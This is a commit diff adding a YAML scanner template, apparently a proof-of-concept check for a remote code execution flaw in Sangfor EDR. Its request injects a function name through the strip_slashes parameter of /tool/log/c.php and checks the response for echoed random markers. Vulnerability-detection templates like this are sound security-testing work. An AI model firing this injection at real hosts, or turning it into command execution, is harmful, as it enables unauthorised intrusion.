commit message

2026-09-26 21:21:53 +08:00 · 2020-12-29 17:17:10 +08:00
commit df45b07ce8
97 changed files with 45329 additions and 0 deletions
@@ -0,0 +1,14 @@
+name: poc-yaml-sangfor-edr-tool-rce
+set:
+  r1: randomLowercase(8)
+  r2: randomLowercase(8)
+rules:
+  - method: GET
+    path: "/tool/log/c.php?strip_slashes=printf&host={{r1}}%25%25{{r2}}"
+    follow_redirects: false
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes(r1 + "%" + r2))
+detail:
+  author: cookie
+  links:
+    - https://edr.sangfor.com.cn/